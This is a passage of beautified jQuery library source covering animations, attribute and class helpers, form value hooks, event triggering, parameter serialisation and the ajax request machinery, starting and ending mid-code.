                i.start = 0))
        }
    }
    function fb(a, b) {
        var c, d, e, f, g;
        for (c in a)
            if (d = r.camelCase(c),
            e = b[d],
            f = a[c],
            r.isArray(f) && (e = f[1],
            f = a[c] = f[0]),
            c !== d && (a[d] = f,
            delete a[c]),
            g = r.cssHooks[d],
            g && "expand"in g) {
                f = g.expand(f),
                delete a[d];
                for (c in f)
                    c in a || (a[c] = f[c],
                    b[c] = e)
            } else
                b[d] = e
    }
    function gb(a, b, c) {
        var d, e, f = 0, g = gb.prefilters.length, h = r.Deferred().always(function() {
            delete i.elem
        }), i = function() {
            if (e)
                return !1;
            for (var b = Ya || bb(), c = Math.max(0, j.startTime + j.duration - b), d = c / j.duration || 0, f = 1 - d, g = 0, i = j.tweens.length; i > g; g++)
                j.tweens[g].run(f);
            return h.notifyWith(a, [j, f, c]),
            1 > f && i ? c : (h.resolveWith(a, [j]),
            !1)
        }, j = h.promise({
            elem: a,
            props: r.extend({}, b),
            opts: r.extend(!0, {
                specialEasing: {},
                easing: r.easing._default
            }, c),
            originalProperties: b,
            originalOptions: c,
            startTime: Ya || bb(),
            duration: c.duration,
            tweens: [],
            createTween: function(b, c) {
                var d = r.Tween(a, j.opts, b, c, j.opts.specialEasing[b] || j.opts.easing);
                return j.tweens.push(d),
                d
            },
            stop: function(b) {
                var c = 0
                  , d = b ? j.tweens.length : 0;
                if (e)
                    return this;
                for (e = !0; d > c; c++)
                    j.tweens[c].run(1);
                return b ? (h.notifyWith(a, [j, 1, 0]),
                h.resolveWith(a, [j, b])) : h.rejectWith(a, [j, b]),
                this
            }
        }), k = j.props;
        for (fb(k, j.opts.specialEasing); g > f; f++)
            if (d = gb.prefilters[f].call(j, a, k, j.opts))
                return r.isFunction(d.stop) && (r._queueHooks(j.elem, j.opts.queue).stop = r.proxy(d.stop, d)),
                d;
        return r.map(k, db, j),
        r.isFunction(j.opts.start) && j.opts.start.call(a, j),
        r.fx.timer(r.extend(i, {
            elem: a,
            anim: j,
            queue: j.opts.queue
        })),
        j.progress(j.opts.progress).done(j.opts.done, j.opts.complete).fail(j.opts.fail).always(j.opts.always)
    }
    r.Animation = r.extend(gb, {
        tweeners: {
            "*": [function(a, b) {
                var c = this.createTween(a, b);
                return da(c.elem, a, _.exec(b), c),
                c
            }
            ]
        },
        tweener: function(a, b) {
            r.isFunction(a) ? (b = a,
            a = ["*"]) : a = a.match(K);
            for (var c, d = 0, e = a.length; e > d; d++)
                c = a[d],
                gb.tweeners[c] = gb.tweeners[c] || [],
                gb.tweeners[c].unshift(b)
        },
        prefilters: [eb],
        prefilter: function(a, b) {
            b ? gb.prefilters.unshift(a) : gb.prefilters.push(a)
        }
    }),
    r.speed = function(a, b, c) {
        var e = a && "object" == typeof a ? r.extend({}, a) : {
            complete: c || !c && b || r.isFunction(a) && a,
            duration: a,
            easing: c && b || b && !r.isFunction(b) && b
        };
        return r.fx.off || d.hidden ? e.duration = 0 : e.duration = "number" == typeof e.duration ? e.duration : e.duration in r.fx.speeds ? r.fx.speeds[e.duration] : r.fx.speeds._default,
        null != e.queue && e.queue !== !0 || (e.queue = "fx"),
        e.old = e.complete,
        e.complete = function() {
            r.isFunction(e.old) && e.old.call(this),
            e.queue && r.dequeue(this, e.queue)
        }
        ,
        e
    }
    ,
    r.fn.extend({
        fadeTo: function(a, b, c, d) {
            return this.filter(ba).css("opacity", 0).show().end().animate({
                opacity: b
            }, a, c, d)
        },
        animate: function(a, b, c, d) {
            var e = r.isEmptyObject(a)
              , f = r.speed(b, c, d)
              , g = function() {
                var b = gb(this, r.extend({}, a), f);
                (e || V.get(this, "finish")) && b.stop(!0)
            };
            return g.finish = g,
            e || f.queue === !1 ? this.each(g) : this.queue(f.queue, g)
        },
        stop: function(a, b, c) {
            var d = function(a) {
                var b = a.stop;
                delete a.stop,
                b(c)
            };
            return "string" != typeof a && (c = b,
            b = a,
            a = void 0),
            b && a !== !1 && this.queue(a || "fx", []),
            this.each(function() {
                var b = !0
                  , e = null != a && a + "queueHooks"
                  , f = r.timers
                  , g = V.get(this);
                if (e)
                    g[e] && g[e].stop && d(g[e]);
                else
                    for (e in g)
                        g[e] && g[e].stop && _a.test(e) && d(g[e]);
                for (e = f.length; e--; )
                    f[e].elem !== this || null != a && f[e].queue !== a || (f[e].anim.stop(c),
                    b = !1,
                    f.splice(e, 1));
                !b && c || r.dequeue(this, a)
            })
        },
        finish: function(a) {
            return a !== !1 && (a = a || "fx"),
            this.each(function() {
                var b, c = V.get(this), d = c[a + "queue"], e = c[a + "queueHooks"], f = r.timers, g = d ? d.length : 0;
                for (c.finish = !0,
                r.queue(this, a, []),
                e && e.stop && e.stop.call(this, !0),
                b = f.length; b--; )
                    f[b].elem === this && f[b].queue === a && (f[b].anim.stop(!0),
                    f.splice(b, 1));
                for (b = 0; g > b; b++)
                    d[b] && d[b].finish && d[b].finish.call(this);
                delete c.finish
            })
        }
    }),
    r.each(["toggle", "show", "hide"], function(a, b) {
        var c = r.fn[b];
        r.fn[b] = function(a, d, e) {
            return null == a || "boolean" == typeof a ? c.apply(this, arguments) : this.animate(cb(b, !0), a, d, e)
        }
    }),
    r.each({
        slideDown: cb("show"),
        slideUp: cb("hide"),
        slideToggle: cb("toggle"),
        fadeIn: {
            opacity: "show"
        },
        fadeOut: {
            opacity: "hide"
        },
        fadeToggle: {
            opacity: "toggle"
        }
    }, function(a, b) {
        r.fn[a] = function(a, c, d) {
            return this.animate(b, a, c, d)
        }
    }),
    r.timers = [],
    r.fx.tick = function() {
        var a, b = 0, c = r.timers;
        for (Ya = r.now(); b < c.length; b++)
            a = c[b],
            a() || c[b] !== a || c.splice(b--, 1);
        c.length || r.fx.stop(),
        Ya = void 0
    }
    ,
    r.fx.timer = function(a) {
        r.timers.push(a),
        a() ? r.fx.start() : r.timers.pop()
    }
    ,
    r.fx.interval = 13,
    r.fx.start = function() {
        Za || (Za = a.requestAnimationFrame ? a.requestAnimationFrame(ab) : a.setInterval(r.fx.tick, r.fx.interval))
    }
    ,
    r.fx.stop = function() {
        a.cancelAnimationFrame ? a.cancelAnimationFrame(Za) : a.clearInterval(Za),
        Za = null
    }
    ,
    r.fx.speeds = {
        slow: 600,
        fast: 200,
        _default: 400
    },
    r.fn.delay = function(b, c) {
        return b = r.fx ? r.fx.speeds[b] || b : b,
        c = c || "fx",
        this.queue(c, function(c, d) {
            var e = a.setTimeout(c, b);
            d.stop = function() {
                a.clearTimeout(e)
            }
        })
    }
    ,
    function() {
        var a = d.createElement("input")
          , b = d.createElement("select")
          , c = b.appendChild(d.createElement("option"));
        a.type = "checkbox",
        o.checkOn = "" !== a.value,
        o.optSelected = c.selected,
        a = d.createElement("input"),
        a.value = "t",
        a.type = "radio",
        o.radioValue = "t" === a.value
    }();
    var hb, ib = r.expr.attrHandle;
    r.fn.extend({
        attr: function(a, b) {
            return S(this, r.attr, a, b, arguments.length > 1)
        },
        removeAttr: function(a) {
            return this.each(function() {
                r.removeAttr(this, a)
            })
        }
    }),
    r.extend({
        attr: function(a, b, c) {
            var d, e, f = a.nodeType;
            if (3 !== f && 8 !== f && 2 !== f)
                return "undefined" == typeof a.getAttribute ? r.prop(a, b, c) : (1 === f && r.isXMLDoc(a) || (e = r.attrHooks[b.toLowerCase()] || (r.expr.match.bool.test(b) ? hb : void 0)),
                void 0 !== c ? null === c ? void r.removeAttr(a, b) : e && "set"in e && void 0 !== (d = e.set(a, c, b)) ? d : (a.setAttribute(b, c + ""),
                c) : e && "get"in e && null !== (d = e.get(a, b)) ? d : (d = r.find.attr(a, b),
                null == d ? void 0 : d))
        },
        attrHooks: {
            type: {
                set: function(a, b) {
                    if (!o.radioValue && "radio" === b && r.nodeName(a, "input")) {
                        var c = a.value;
                        return a.setAttribute("type", b),
                        c && (a.value = c),
                        b
                    }
                }
            }
        },
        removeAttr: function(a, b) {
            var c, d = 0, e = b && b.match(K);
            if (e && 1 === a.nodeType)
                while (c = e[d++])
                    a.removeAttribute(c)
        }
    }),
    hb = {
        set: function(a, b, c) {
            return b === !1 ? r.removeAttr(a, c) : a.setAttribute(c, c),
            c
        }
    },
    r.each(r.expr.match.bool.source.match(/\w+/g), function(a, b) {
        var c = ib[b] || r.find.attr;
        ib[b] = function(a, b, d) {
            var e, f, g = b.toLowerCase();
            return d || (f = ib[g],
            ib[g] = e,
            e = null != c(a, b, d) ? g : null,
            ib[g] = f),
            e
        }
    });
    var jb = /^(?:input|select|textarea|button)$/i
      , kb = /^(?:a|area)$/i;
    r.fn.extend({
        prop: function(a, b) {
            return S(this, r.prop, a, b, arguments.length > 1)
        },
        removeProp: function(a) {
            return this.each(function() {
                delete this[r.propFix[a] || a]
            })
        }
    }),
    r.extend({
        prop: function(a, b, c) {
            var d, e, f = a.nodeType;
            if (3 !== f && 8 !== f && 2 !== f)
                return 1 === f && r.isXMLDoc(a) || (b = r.propFix[b] || b,
                e = r.propHooks[b]),
                void 0 !== c ? e && "set"in e && void 0 !== (d = e.set(a, c, b)) ? d : a[b] = c : e && "get"in e && null !== (d = e.get(a, b)) ? d : a[b]
        },
        propHooks: {
            tabIndex: {
                get: function(a) {
                    var b = r.find.attr(a, "tabindex");
                    return b ? parseInt(b, 10) : jb.test(a.nodeName) || kb.test(a.nodeName) && a.href ? 0 : -1
                }
            }
        },
        propFix: {
            for: "htmlFor",
            class: "className"
        }
    }),
    o.optSelected || (r.propHooks.selected = {
        get: function(a) {
            var b = a.parentNode;
            return b && b.parentNode && b.parentNode.selectedIndex,
            null
        },
        set: function(a) {
            var b = a.parentNode;
            b && (b.selectedIndex,
            b.parentNode && b.parentNode.selectedIndex)
        }
    }),
    r.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
        r.propFix[this.toLowerCase()] = this
    });
    var lb = /[\t\r\n\f]/g;
    function mb(a) {
        return a.getAttribute && a.getAttribute("class") || ""
    }
    r.fn.extend({
        addClass: function(a) {
            var b, c, d, e, f, g, h, i = 0;
            if (r.isFunction(a))
                return this.each(function(b) {
                    r(this).addClass(a.call(this, b, mb(this)))
                });
            if ("string" == typeof a && a) {
                b = a.match(K) || [];
                while (c = this[i++])
                    if (e = mb(c),
                    d = 1 === c.nodeType && (" " + e + " ").replace(lb, " ")) {
                        g = 0;
                        while (f = b[g++])
                            d.indexOf(" " + f + " ") < 0 && (d += f + " ");
                        h = r.trim(d),
                        e !== h && c.setAttribute("class", h)
                    }
            }
            return this
        },
        removeClass: function(a) {
            var b, c, d, e, f, g, h, i = 0;
            if (r.isFunction(a))
                return this.each(function(b) {
                    r(this).removeClass(a.call(this, b, mb(this)))
                });
            if (!arguments.length)
                return this.attr("class", "");
            if ("string" == typeof a && a) {
                b = a.match(K) || [];
                while (c = this[i++])
                    if (e = mb(c),
                    d = 1 === c.nodeType && (" " + e + " ").replace(lb, " ")) {
                        g = 0;
                        while (f = b[g++])
                            while (d.indexOf(" " + f + " ") > -1)
                                d = d.replace(" " + f + " ", " ");
                        h = r.trim(d),
                        e !== h && c.setAttribute("class", h)
                    }
            }
            return this
        },
        toggleClass: function(a, b) {
            var c = typeof a;
            return "boolean" == typeof b && "string" === c ? b ? this.addClass(a) : this.removeClass(a) : r.isFunction(a) ? this.each(function(c) {
                r(this).toggleClass(a.call(this, c, mb(this), b), b)
            }) : this.each(function() {
                var b, d, e, f;
                if ("string" === c) {
                    d = 0,
                    e = r(this),
                    f = a.match(K) || [];
                    while (b = f[d++])
                        e.hasClass(b) ? e.removeClass(b) : e.addClass(b)
                } else
                    void 0 !== a && "boolean" !== c || (b = mb(this),
                    b && V.set(this, "__className__", b),
                    this.setAttribute && this.setAttribute("class", b || a === !1 ? "" : V.get(this, "__className__") || ""))
            })
        },
        hasClass: function(a) {
            var b, c, d = 0;
            b = " " + a + " ";
            while (c = this[d++])
                if (1 === c.nodeType && (" " + mb(c) + " ").replace(lb, " ").indexOf(b) > -1)
                    return !0;
            return !1
        }
    });
    var nb = /\r/g
      , ob = /[\x20\t\r\n\f]+/g;
    r.fn.extend({
        val: function(a) {
            var b, c, d, e = this[0];
            {
                if (arguments.length)
                    return d = r.isFunction(a),
                    this.each(function(c) {
                        var e;
                        1 === this.nodeType && (e = d ? a.call(this, c, r(this).val()) : a,
                        null == e ? e = "" : "number" == typeof e ? e += "" : r.isArray(e) && (e = r.map(e, function(a) {
                            return null == a ? "" : a + ""
                        })),
                        b = r.valHooks[this.type] || r.valHooks[this.nodeName.toLowerCase()],
                        b && "set"in b && void 0 !== b.set(this, e, "value") || (this.value = e))
                    });
                if (e)
                    return b = r.valHooks[e.type] || r.valHooks[e.nodeName.toLowerCase()],
                    b && "get"in b && void 0 !== (c = b.get(e, "value")) ? c : (c = e.value,
                    "string" == typeof c ? c.replace(nb, "") : null == c ? "" : c)
            }
        }
    }),
    r.extend({
        valHooks: {
            option: {
                get: function(a) {
                    var b = r.find.attr(a, "value");
                    return null != b ? b : r.trim(r.text(a)).replace(ob, " ")
                }
            },
            select: {
                get: function(a) {
                    for (var b, c, d = a.options, e = a.selectedIndex, f = "select-one" === a.type, g = f ? null : [], h = f ? e + 1 : d.length, i = 0 > e ? h : f ? e : 0; h > i; i++)
                        if (c = d[i],
                        (c.selected || i === e) && !c.disabled && (!c.parentNode.disabled || !r.nodeName(c.parentNode, "optgroup"))) {
                            if (b = r(c).val(),
                            f)
                                return b;
                            g.push(b)
                        }
                    return g
                },
                set: function(a, b) {
                    var c, d, e = a.options, f = r.makeArray(b), g = e.length;
                    while (g--)
                        d = e[g],
                        (d.selected = r.inArray(r.valHooks.option.get(d), f) > -1) && (c = !0);
                    return c || (a.selectedIndex = -1),
                    f
                }
            }
        }
    }),
    r.each(["radio", "checkbox"], function() {
        r.valHooks[this] = {
            set: function(a, b) {
                return r.isArray(b) ? a.checked = r.inArray(r(a).val(), b) > -1 : void 0
            }
        },
        o.checkOn || (r.valHooks[this].get = function(a) {
            return null === a.getAttribute("value") ? "on" : a.value
        }
        )
    });
    var pb = /^(?:focusinfocus|focusoutblur)$/;
    r.extend(r.event, {
        trigger: function(b, c, e, f) {
            var g, h, i, j, k, m, n, o = [e || d], p = l.call(b, "type") ? b.type : b, q = l.call(b, "namespace") ? b.namespace.split(".") : [];
            if (h = i = e = e || d,
            3 !== e.nodeType && 8 !== e.nodeType && !pb.test(p + r.event.triggered) && (p.indexOf(".") > -1 && (q = p.split("."),
            p = q.shift(),
            q.sort()),
            k = p.indexOf(":") < 0 && "on" + p,
            b = b[r.expando] ? b : new r.Event(p,"object" == typeof b && b),
            b.isTrigger = f ? 2 : 3,
            b.namespace = q.join("."),
            b.rnamespace = b.namespace ? new RegExp("(^|\\.)" + q.join("\\.(?:.*\\.|)") + "(\\.|$)") : null,
            b.result = void 0,
            b.target || (b.target = e),
            c = null == c ? [b] : r.makeArray(c, [b]),
            n = r.event.special[p] || {},
            f || !n.trigger || n.trigger.apply(e, c) !== !1)) {
                if (!f && !n.noBubble && !r.isWindow(e)) {
                    for (j = n.delegateType || p,
                    pb.test(j + p) || (h = h.parentNode); h; h = h.parentNode)
                        o.push(h),
                        i = h;
                    i === (e.ownerDocument || d) && o.push(i.defaultView || i.parentWindow || a)
                }
                g = 0;
                while ((h = o[g++]) && !b.isPropagationStopped())
                    b.type = g > 1 ? j : n.bindType || p,
                    m = (V.get(h, "events") || {})[b.type] && V.get(h, "handle"),
                    m && m.apply(h, c),
                    m = k && h[k],
                    m && m.apply && T(h) && (b.result = m.apply(h, c),
                    b.result === !1 && b.preventDefault());
                return b.type = p,
                f || b.isDefaultPrevented() || n._default && n._default.apply(o.pop(), c) !== !1 || !T(e) || k && r.isFunction(e[p]) && !r.isWindow(e) && (i = e[k],
                i && (e[k] = null),
                r.event.triggered = p,
                e[p](),
                r.event.triggered = void 0,
                i && (e[k] = i)),
                b.result
            }
        },
        simulate: function(a, b, c) {
            var d = r.extend(new r.Event, c, {
                type: a,
                isSimulated: !0
            });
            r.event.trigger(d, null, b)
        }
    }),
    r.fn.extend({
        trigger: function(a, b) {
            return this.each(function() {
                r.event.trigger(a, b, this)
            })
        },
        triggerHandler: function(a, b) {
            var c = this[0];
            return c ? r.event.trigger(a, b, c, !0) : void 0
        }
    }),
    r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(a, b) {
        r.fn[b] = function(a, c) {
            return arguments.length > 0 ? this.on(b, null, a, c) : this.trigger(b)
        }
    }),
    r.fn.extend({
        hover: function(a, b) {
            return this.mouseenter(a).mouseleave(b || a)
        }
    }),
    o.focusin = "onfocusin"in a,
    o.focusin || r.each({
        focus: "focusin",
        blur: "focusout"
    }, function(a, b) {
        var c = function(a) {
            r.event.simulate(b, a.target, r.event.fix(a))
        };
        r.event.special[b] = {
            setup: function() {
                var d = this.ownerDocument || this
                  , e = V.access(d, b);
                e || d.addEventListener(a, c, !0),
                V.access(d, b, (e || 0) + 1)
            },
            teardown: function() {
                var d = this.ownerDocument || this
                  , e = V.access(d, b) - 1;
                e ? V.access(d, b, e) : (d.removeEventListener(a, c, !0),
                V.remove(d, b))
            }
        }
    });
    var qb = a.location
      , rb = r.now()
      , sb = /\?/;
    r.parseXML = function(b) {
        var c;
        if (!b || "string" != typeof b)
            return null;
        try {
            c = (new a.DOMParser).parseFromString(b, "text/xml")
        } catch (d) {
            c = void 0
        }
        return c && !c.getElementsByTagName("parsererror").length || r.error("Invalid XML: " + b),
        c
    }
    ;
    var tb = /\[\]$/
      , ub = /\r?\n/g
      , vb = /^(?:submit|button|image|reset|file)$/i
      , wb = /^(?:input|select|textarea|keygen)/i;
    function xb(a, b, c, d) {
        var e;
        if (r.isArray(b))
            r.each(b, function(b, e) {
                c || tb.test(a) ? d(a, e) : xb(a + "[" + ("object" == typeof e && null != e ? b : "") + "]", e, c, d)
            });
        else if (c || "object" !== r.type(b))
            d(a, b);
        else
            for (e in b)
                xb(a + "[" + e + "]", b[e], c, d)
    }
    r.param = function(a, b) {
        var c, d = [], e = function(a, b) {
            var c = r.isFunction(b) ? b() : b;
            d[d.length] = encodeURIComponent(a) + "=" + encodeURIComponent(null == c ? "" : c)
        };
        if (r.isArray(a) || a.jquery && !r.isPlainObject(a))
            r.each(a, function() {
                e(this.name, this.value)
            });
        else
            for (c in a)
                xb(c, a[c], b, e);
        return d.join("&")
    }
    ,
    r.fn.extend({
        serialize: function() {
            return r.param(this.serializeArray())
        },
        serializeArray: function() {
            return this.map(function() {
                var a = r.prop(this, "elements");
                return a ? r.makeArray(a) : this
            }).filter(function() {
                var a = this.type;
                return this.name && !r(this).is(":disabled") && wb.test(this.nodeName) && !vb.test(a) && (this.checked || !ha.test(a))
            }).map(function(a, b) {
                var c = r(this).val();
                return null == c ? null : r.isArray(c) ? r.map(c, function(a) {
                    return {
                        name: b.name,
                        value: a.replace(ub, "\r\n")
                    }
                }) : {
                    name: b.name,
                    value: c.replace(ub, "\r\n")
                }
            }).get()
        }
    });
    var yb = /%20/g
      , zb = /#.*$/
      , Ab = /([?&])_=[^&]*/
      , Bb = /^(.*?):[ \t]*([^\r\n]*)$/gm
      , Cb = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/
      , Db = /^(?:GET|HEAD)$/
      , Eb = /^\/\//
      , Fb = {}
      , Gb = {}
      , Hb = "*/".concat("*")
      , Ib = d.createElement("a");
    Ib.href = qb.href;
    function Jb(a) {
        return function(b, c) {
            "string" != typeof b && (c = b,
            b = "*");
            var d, e = 0, f = b.toLowerCase().match(K) || [];
            if (r.isFunction(c))
                while (d = f[e++])
                    "+" === d[0] ? (d = d.slice(1) || "*",
                    (a[d] = a[d] || []).unshift(c)) : (a[d] = a[d] || []).push(c)
        }
    }
    function Kb(a, b, c, d) {
        var e = {}
          , f = a === Gb;
        function g(h) {
            var i;
            return e[h] = !0,
            r.each(a[h] || [], function(a, h) {
                var j = h(b, c, d);
                return "string" != typeof j || f || e[j] ? f ? !(i = j) : void 0 : (b.dataTypes.unshift(j),
                g(j),
                !1)
            }),
            i
        }
        return g(b.dataTypes[0]) || !e["*"] && g("*")
    }
    function Lb(a, b) {
        var c, d, e = r.ajaxSettings.flatOptions || {};
        for (c in b)
            void 0 !== b[c] && ((e[c] ? a : d || (d = {}))[c] = b[c]);
        return d && r.extend(!0, a, d),
        a
    }
    function Mb(a, b, c) {
        var d, e, f, g, h = a.contents, i = a.dataTypes;
        while ("*" === i[0])
            i.shift(),
            void 0 === d && (d = a.mimeType || b.getResponseHeader("Content-Type"));
        if (d)
            for (e in h)
                if (h[e] && h[e].test(d)) {
                    i.unshift(e);
                    break
                }
        if (i[0]in c)
            f = i[0];
        else {
            for (e in c) {
                if (!i[0] || a.converters[e + " " + i[0]]) {
                    f = e;
                    break
                }
                g || (g = e)
            }
            f = f || g
        }
        return f ? (f !== i[0] && i.unshift(f),
        c[f]) : void 0
    }
    function Nb(a, b, c, d) {
        var e, f, g, h, i, j = {}, k = a.dataTypes.slice();
        if (k[1])
            for (g in a.converters)
                j[g.toLowerCase()] = a.converters[g];
        f = k.shift();
        while (f)
            if (a.responseFields[f] && (c[a.responseFields[f]] = b),
            !i && d && a.dataFilter && (b = a.dataFilter(b, a.dataType)),
            i = f,
            f = k.shift())
                if ("*" === f)
                    f = i;
                else if ("*" !== i && i !== f) {
                    if (g = j[i + " " + f] || j["* " + f],
                    !g)
                        for (e in j)
                            if (h = e.split(" "),
                            h[1] === f && (g = j[i + " " + h[0]] || j["* " + h[0]])) {
                                g === !0 ? g = j[e] : j[e] !== !0 && (f = h[0],
                                k.unshift(h[1]));
                                break
                            }
                    if (g !== !0)
                        if (g && a["throws"])
                            b = g(b);
                        else
                            try {
                                b = g(b)
                            } catch (l) {
                                return {
                                    state: "parsererror",
                                    error: g ? l : "No conversion from " + i + " to " + f
                                }
                            }
                }
        return {
            state: "success",
            data: b
        }
    }
    r.extend({
        active: 0,
        lastModified: {},
        etag: {},
        ajaxSettings: {
            url: qb.href,
            type: "GET",
            isLocal: Cb.test(qb.protocol),
            global: !0,
            processData: !0,
            async: !0,
            contentType: "application/x-www-form-urlencoded; charset=UTF-8",
            accepts: {
                "*": Hb,
                text: "text/plain",
                html: "text/html",
                xml: "application/xml, text/xml",
                json: "application/json, text/javascript"
            },
            contents: {
                xml: /\bxml\b/,
                html: /\bhtml/,
                json: /\bjson\b/
            },
            responseFields: {
                xml: "responseXML",
                text: "responseText",
                json: "responseJSON"
            },
            converters: {
                "* text": String,
                "text html": !0,
                "text json": JSON.parse,
                "text xml": r.parseXML
            },
            flatOptions: {
                url: !0,
                context: !0
            }
        },
        ajaxSetup: function(a, b) {
            return b ? Lb(Lb(a, r.ajaxSettings), b) : Lb(r.ajaxSettings, a)
        },
        ajaxPrefilter: Jb(Fb),
        ajaxTransport: Jb(Gb),
        ajax: function(b, c) {
            "object" == typeof b && (c = b,
            b = void 0),
            c = c || {};
            var e, f, g, h, i, j, k, l, m, n, o = r.ajaxSetup({}, c), p = o.context || o, q = o.context && (p.nodeType || p.jquery) ? r(p) : r.event, s = r.Deferred(), t = r.Callbacks("once memory"), u = o.statusCode || {}, v = {}, w = {}, x = "canceled", y = {
                readyState: 0,
                getResponseHeader: function(a) {
                    var b;
                    if (k) {
                        if (!h) {
                            h = {};
                            while (b = Bb.exec(g))
                                h[b[1].toLowerCase()] = b[2]
                        }
                        b = h[a.toLowerCase()]
                    }
                    return null == b ? null : b
                },
                getAllResponseHeaders: function() {
                    return k ? g : null
                },
                setRequestHeader: function(a, b) {
                    return null == k && (a = w[a.toLowerCase()] = w[a.toLowerCase()] || a,
                    v[a] = b),
                    this
                },
                overrideMimeType: function(a) {
                    return null == k && (o.mimeType = a),
                    this
                },
                statusCode: function(a) {
                    var b;
                    if (a)
                        if (k)
                            y.always(a[y.status]);
                        else
                            for (b in a)
                                u[b] = [u[b], a[b]];
                    return this
                },
                abort: function(a) {
                    var b = a || x;
                    return e && e.abort(b),
                    A(0, b),
                    this
                }
            };
            if (s.promise(y),
            o.url = ((b || o.url || qb.href) + "").replace(Eb, qb.protocol + "//"),
            o.type = c.method || c.type || o.method || o.type,
            o.dataTypes = (o.dataType || "*").toLowerCase().match(K) || [""],
            null == o.crossDomain) {
                j = d.createElement("a");
                try {
                    j.href = o.url,
                    j.href = j.href,
                    o.crossDomain = Ib.protocol + "//" + Ib.host != j.protocol + "//" + j.host
                } catch (z) {
                    o.crossDomain = !0
                }
            }
            if (o.data && o.processData && "string" != typeof o.data && (o.data = r.param(o.data, o.traditional)),
            Kb(Fb, o, c, y),
            k)
                return y;
            l = r.event && o.global,
            l && 0 === r.active++ && r.event.trigger("ajaxStart"),
            o.type = o.type.toUpperCase(),
            o.hasContent = !Db.test(o.type),
            f = o.url.replace(zb, ""),
            o.hasContent ? o.data && o.processData && 0 === (o.contentType || "").indexOf("application/x-www-form-urlencoded") && (o.data = o.data.replace(yb, "+")) : (n = o.url.slice(f.length),
            o.data && (f += (sb.test(f) ? "&" : "?") + o.data,
            delete o.data),
            o.cache === !1 && (f = f.replace(Ab, ""),
            n = (sb.test(f) ? "&" : "?") + "_=" + rb++ + n),
            o.url = f + n),
            o.ifModified && (r.lastModified[f] && y.setRequestHeader("If-Modified-Since", r.lastModified[f]),
            r.etag[f] && y.setRequestHeader("If-None-Match", r.etag[f])),
            (o.data && o.hasContent && o.contentType !== !1 || c.contentType) && y.setRequestHeader("Content-Type", o.contentType),
            y.setRequestHeader("Accept", o.dataTypes[0] && o.accepts[o.dataTypes[0]] ? o.accepts[o.dataTypes[0]] + ("*" !== o.dataTypes[0] ? ", " + Hb + "; q=0.01" : "") : o.accepts["*"]);
            for (m in o.headers)
                y.setRequestHeader(m, o.headers[m]);
            if (o.beforeSend && (o.beforeSend.call(p, y, o) === !1 || k))
                return y.abort();
            if (x = "abort",
            t.add(o.complete),
            y.done(o.success),
            y.fail(o.error),
            e = Kb(Gb, o, c, y)) {
                if (y.readyState = 1,
                l && q.trigger("ajaxSend", [y, o]),
                k)
                    return y;
                o.async && o.timeout > 0 && (i = a.setTimeout(function() {
                    y.abort("timeout")
                }, o.timeout));
                try {
                    k = !1,
                    e.send(v, A)
                } catch (z) {
                    if (k)
                        throw z;
                    A(-1, z)
                }
            } else
                A(-1, "No Transport");
            function A(b, c, d, h) {
                var j, m, n, v, w, x = c;
                k || (k = !0,
                i && a.clearTimeout(i),
                e = void 0,
                g = h || "",
                y.readyState = b > 0 ? 4 : 0,
                j = b >= 200 && 300 > b || 304 === b,
                d && (v = Mb(o, y, d)),
                v = Nb(o, v, y, j),
                j ? (o.ifModified && (w = y.getResponseHeader("Last-Modified"),
                w && (r.lastModified[f] = w),
                w = y.getResponseHeader("etag"),
                w && (r.etag[f] = w)),
                204 === b || "HEAD" === o.type ? x = "nocontent" : 304 === b ? x = "notmodified" : (x = v.state,
                m = v.data,
                n = v.error,
                j = !n)) : (n = x,
                !b && x || (x = "error",
                0 > b && (b = 0))),
                y.status = b,
                y.statusText = (c || x) + "",
                j ? s.resolveWith(p, [m, x, y]) : s.rejectWith(p, [y, x, n]),
                y.statusCode(u),
                u = void 0,
                l && q.trigger(j ? "ajaxSuccess" : "ajaxError", [y, o, j ? m : n]),
                t.fireWith(p, [y, x]),
                l && (q.trigger("ajaxComplete", [y, o]),
                --r.active || r.event.trigger("ajaxStop")))
            }
            return y
        },
        getJSON: function(a, b, c) {
            return r.get(a, b, c, "json")
        },
        getScript: function(a, b) {
            return r.get(a, void 0, b, "script")
        }
    }),
    r.each(["get", "post"], function(a, b) {
        r[b] = function(a, c, d, e) {
            return r.isFunction(c) && (e = e || d,
            d = c,
            c = void 0),
            r.ajax(r.extend({
                url: a,
                type: b,
                dataType: e,
                data: c,
                success: d
            }, r.isPlainObject(a) && a))
        }
    }),
    r._evalUrl = function(a) {
        return r.ajax({
            url: a,
            type: "GET",
            dataType: "script",
            cache: !0,
            async: !1,
            global: !1,
            throws: !0
        })
    }
    ,
    r.fn.extend({
        wrapAll: function(a) {
            var b;
            return this[0] && (r.isFunction(a) && (a = a.call(this[0])),
            b = r(a, this[0].ownerDocument).eq(0).clone(!0),
            this[0].parentNode && b.insertBefore(this[0]),
            b.map(function() {
                var a = this;
                while (a.firstElementChild)
                    a = a.firstElementChild;
                return a
            }).append(this)),
            this
        },
        wrapInner: function(a) {
            return r.isFunction(a) ? this.each(function(b) {
                r(this).wrapInner(a.call(this, b))
            }) : this.each(function() {
                var b = r(this)
                  , c = b.contents();
                c.length ? c.wrapAll(a) : b.append(a)
            })
        },
        wrap: function(a) {
            var b = r.isFunction(a);
            return this.each(function(c) {
                r(this).wrapAll(b ? a.call(this, c) : a)
            })
        },
        unwrap: function(a) {
            return this.parent(a).not("body").each(function() {
                r(this).replaceWith(this.childNodes)
            }),
            this
        }
    }),
    r.expr.pseudos.hidden = function(a) {
        return !r.expr.pseudos.visible(a)
    }
    ,
    r.expr.pseudos.visible = function(a) {
        return !!(a.offsetWidth || a.offsetHeight || a.getClientRects().length)
    }
    ,
    r.ajaxSettings.xhr = function() {
        try {
            return new a.XMLHttpRequest
        } catch (b) {}
    }
    ;
    var Ob = {
        0: 200,
        1223: 204
    }
      , Pb = r.ajaxSettings.xhr();
    o.cors = !!Pb && "withCredentials"in Pb,
    o.ajax = Pb = !!Pb,
    r.ajaxTransport(function(b) {
        var c, d;
        return o.cors || Pb && !b.crossDomain ? {
            send: function(e, f) {
                var g, h = b.xhr();
                if (h.open(b.type, b.url, b.async, b.username, b.password),
                b.xhrFields)
                    for (g in b.xhrFields)
                        h[g] = b.xhrFields[g];
                b.mimeType && h.overrideMimeType && h.overrideMimeType(b.mimeType),
